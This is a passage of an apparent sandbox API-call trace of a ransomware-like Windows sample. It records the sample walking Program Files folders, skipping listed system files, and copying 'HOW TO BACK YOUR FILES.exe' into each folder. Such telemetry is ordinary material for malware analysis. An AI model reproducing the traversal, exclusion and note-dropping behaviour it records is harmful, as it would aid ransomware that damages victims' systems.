ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0090.429] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0090.429] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Runtime", cAlternateFileName="")) returned 1 [0090.429] lstrcmpiW (lpString1="Runtime", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0090.429] lstrcmpiW (lpString1="Runtime", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0090.429] lstrcmpiW (lpString1="Runtime", lpString2=".") returned 1 [0090.429] lstrcmpiW (lpString1="Runtime", lpString2="..") returned 1 [0090.429] lstrcmpiW (lpString1="Runtime", lpString2="windows") returned -1 [0090.430] lstrcmpiW (lpString1="Runtime", lpString2="bootmgr") returned 1 [0090.430] lstrcmpiW (lpString1="Runtime", lpString2="temp") returned -1 [0090.430] lstrcmpiW (lpString1="Runtime", lpString2="pagefile.sys") returned 1 [0090.430] lstrcmpiW (lpString1="Runtime", lpString2="boot") returned 1 [0090.430] lstrcmpiW (lpString1="Runtime", lpString2="ids.txt") returned 1 [0090.430] lstrcmpiW (lpString1="Runtime", lpString2="ntuser.dat") returned 1 [0090.430] lstrcmpiW (lpString1="Runtime", lpString2="perflogs") returned 1 [0090.430] lstrcmpiW (lpString1="Runtime", lpString2="MSBuild") returned 1 [0090.430] lstrlenW (lpString="Runtime") returned 7 [0090.430] lstrcpyW (in: lpString1=0x241e8a6, lpString2="Runtime" | out: lpString1="Runtime") returned="Runtime" [0090.430] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52b810 [0090.430] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6e) returned 0x5391d0 [0090.430] lstrcatW (in: lpString1="Runtime", lpString2="\\" | out: lpString1="Runtime\\") returned="Runtime\\" [0090.430] lstrcatW (in: lpString1="Runtime\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Runtime\\HOW TO BACK YOUR FILES.exe") returned="Runtime\\HOW TO BACK YOUR FILES.exe" [0090.430] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime\\how to back your files.exe"), bFailIfExists=1) returned 1 [0090.432] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Runtime", cAlternateFileName="")) returned 0 [0090.432] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0090.432] ReleaseMutex (hMutex=0xec) returned 1 [0090.432] CloseHandle (hObject=0xec) returned 1 [0090.432] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET" | out: lpString1="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET") returned="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET" [0090.432] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x501c28 | out: hHeap=0x4f0000) returned 1 [0090.432] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c380 | out: hHeap=0x4f0000) returned 1 [0090.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET") returned 59 [0090.432] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\8E426DFC19FCCA77136A85C97B162F25") returned 0xec [0090.432] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0090.433] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET" | out: lpString1="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET") returned="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET" [0090.433] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0090.433] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft synchronization services\\ado.net\\how to back your files.exe"), bFailIfExists=1) returned 0 [0090.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft synchronization services\\ado.net\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0090.433] GetLastError () returned 0x0 [0090.433] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0090.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ad08 [0090.433] ReadFile (in: hFile=0xf4, lpBuffer=0x53ad08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ad08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0090.434] CloseHandle (hObject=0xf4) returned 1 [0090.434] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ad08 | out: hHeap=0x4f0000) returned 1 [0090.434] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0090.434] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbe8ff220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbe8ff220, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0090.435] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0090.435] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0090.435] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0090.435] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbe8ff220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbe8ff220, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.435] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0090.435] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0090.435] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0090.435] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0090.435] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe8ff220, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbe8ff220, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0090.435] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0090.435] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 1 [0090.435] lstrcmpiW (lpString1="v1.0", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0090.435] lstrcmpiW (lpString1="v1.0", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0090.435] lstrcmpiW (lpString1="v1.0", lpString2=".") returned 1 [0090.435] lstrcmpiW (lpString1="v1.0", lpString2="..") returned 1 [0090.435] lstrcmpiW (lpString1="v1.0", lpString2="windows") returned -1 [0090.435] lstrcmpiW (lpString1="v1.0", lpString2="bootmgr") returned 1 [0090.435] lstrcmpiW (lpString1="v1.0", lpString2="temp") returned 1 [0090.435] lstrcmpiW (lpString1="v1.0", lpString2="pagefile.sys") returned 1 [0090.435] lstrcmpiW (lpString1="v1.0", lpString2="boot") returned 1 [0090.435] lstrcmpiW (lpString1="v1.0", lpString2="ids.txt") returned 1 [0090.435] lstrcmpiW (lpString1="v1.0", lpString2="ntuser.dat") returned 1 [0090.436] lstrcmpiW (lpString1="v1.0", lpString2="perflogs") returned 1 [0090.436] lstrcmpiW (lpString1="v1.0", lpString2="MSBuild") returned 1 [0090.436] lstrlenW (lpString="v1.0") returned 4 [0090.436] lstrcpyW (in: lpString1=0x241e8c0, lpString2="v1.0" | out: lpString1="v1.0") returned="v1.0" [0090.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c380 [0090.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x82) returned 0x514368 [0090.436] lstrcatW (in: lpString1="v1.0", lpString2="\\" | out: lpString1="v1.0\\") returned="v1.0\\" [0090.436] lstrcatW (in: lpString1="v1.0\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="v1.0\\HOW TO BACK YOUR FILES.exe") returned="v1.0\\HOW TO BACK YOUR FILES.exe" [0090.436] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft synchronization services\\ado.net\\v1.0\\how to back your files.exe"), bFailIfExists=1) returned 1 [0090.440] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 0 [0090.440] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0090.440] ReleaseMutex (hMutex=0xec) returned 1 [0090.440] CloseHandle (hObject=0xec) returned 1 [0090.440] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Reference Assemblies\\Microsoft" | out: lpString1="C:\\Program Files\\Reference Assemblies\\Microsoft") returned="C:\\Program Files\\Reference Assemblies\\Microsoft" [0090.440] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51ba80 | out: hHeap=0x4f0000) returned 1 [0090.440] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c398 | out: hHeap=0x4f0000) returned 1 [0090.440] lstrlenW (lpString="C:\\Program Files\\Reference Assemblies\\Microsoft") returned 47 [0090.440] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\F37A986424F1BF06654F115BAF0EE202") returned 0xec [0090.440] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0090.440] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Reference Assemblies\\Microsoft" | out: lpString1="C:\\Program Files\\Reference Assemblies\\Microsoft") returned="C:\\Program Files\\Reference Assemblies\\Microsoft" [0090.440] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0090.440] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\reference assemblies\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 0 [0090.441] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\reference assemblies\\microsoft\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0090.441] GetLastError () returned 0x0 [0090.441] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0090.441] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ad08 [0090.441] ReadFile (in: hFile=0xf4, lpBuffer=0x53ad08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ad08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0090.442] CloseHandle (hObject=0xf4) returned 1 [0090.442] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ad08 | out: hHeap=0x4f0000) returned 1 [0090.442] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0090.442] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbe925380, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbe925380, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0090.442] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0090.442] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0090.443] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0090.443] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbe925380, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbe925380, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.443] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0090.443] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0090.443] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0090.443] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0090.443] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 1 [0090.443] lstrcmpiW (lpString1="Framework", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0090.443] lstrcmpiW (lpString1="Framework", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0090.443] lstrcmpiW (lpString1="Framework", lpString2=".") returned 1 [0090.443] lstrcmpiW (lpString1="Framework", lpString2="..") returned 1 [0090.443] lstrcmpiW (lpString1="Framework", lpString2="windows") returned -1 [0090.443] lstrcmpiW (lpString1="Framework", lpString2="bootmgr") returned 1 [0090.443] lstrcmpiW (lpString1="Framework", lpString2="temp") returned -1 [0090.443] lstrcmpiW (lpString1="Framework", lpString2="pagefile.sys") returned -1 [0090.443] lstrcmpiW (lpString1="Framework", lpString2="boot") returned 1 [0090.443] lstrcmpiW (lpString1="Framework", lpString2="ids.txt") returned -1 [0090.443] lstrcmpiW (lpString1="Framework", lpString2="ntuser.dat") returned -1 [0090.443] lstrcmpiW (lpString1="Framework", lpString2="perflogs") returned -1 [0090.443] lstrcmpiW (lpString1="Framework", lpString2="MSBuild") returned -1 [0090.443] lstrlenW (lpString="Framework") returned 9 [0090.443] lstrcpyW (in: lpString1=0x241e8a8, lpString2="Framework" | out: lpString1="Framework") returned="Framework" [0090.443] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c398 [0090.443] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x74) returned 0x501c28 [0090.443] lstrcatW (in: lpString1="Framework", lpString2="\\" | out: lpString1="Framework\\") returned="Framework\\" [0090.443] lstrcatW (in: lpString1="Framework\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Framework\\HOW TO BACK YOUR FILES.exe") returned="Framework\\HOW TO BACK YOUR FILES.exe" [0090.444] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\how to back your files.exe"), bFailIfExists=1) returned 1 [0090.446] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe925380, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbe925380, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0090.446] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0090.446] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe925380, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbe925380, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0090.446] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0090.446] ReleaseMutex (hMutex=0xec) returned 1 [0090.446] CloseHandle (hObject=0xec) returned 1 [0090.446] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Windows Defender\\en-US" | out: lpString1="C:\\Program Files\\Windows Defender\\en-US") returned="C:\\Program Files\\Windows Defender\\en-US" [0090.446] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x515ce8 | out: hHeap=0x4f0000) returned 1 [0090.446] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c3c8 | out: hHeap=0x4f0000) returned 1 [0090.446] lstrlenW (lpString="C:\\Program Files\\Windows Defender\\en-US") returned 39 [0090.446] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\9A8DF7310030784BB856336407A700A6") returned 0xec [0090.446] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0090.446] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Defender\\en-US" | out: lpString1="C:\\Program Files\\Windows Defender\\en-US") returned="C:\\Program Files\\Windows Defender\\en-US" [0090.446] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0090.446] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Defender\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows defender\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 0 [0090.447] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows defender\\en-us\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0090.447] GetLastError () returned 0x0 [0090.447] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0090.447] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ad08 [0090.447] ReadFile (in: hFile=0xf4, lpBuffer=0x53ad08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ad08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0090.448] CloseHandle (hObject=0xf4) returned 1 [0090.448] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ad08 | out: hHeap=0x4f0000) returned 1 [0090.448] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0090.448] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Defender\\en-US\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbe94b4e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbe94b4e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0090.448] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0090.448] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0090.448] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0090.448] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbe94b4e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbe94b4e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.449] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0090.449] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0090.449] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0090.449] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0090.449] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe94b4e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbe94b4e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0090.449] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0090.449] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe494541, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe494541, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MpAsDesc.dll.mui", cAlternateFileName="")) returned 1 [0090.449] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0090.449] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0090.449] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2=".") returned 1 [0090.449] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="..") returned 1 [0090.449] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="windows") returned -1 [0090.449] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="bootmgr") returned 1 [0090.449] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="temp") returned -1 [0090.449] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="pagefile.sys") returned -1 [0090.449] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="boot") returned 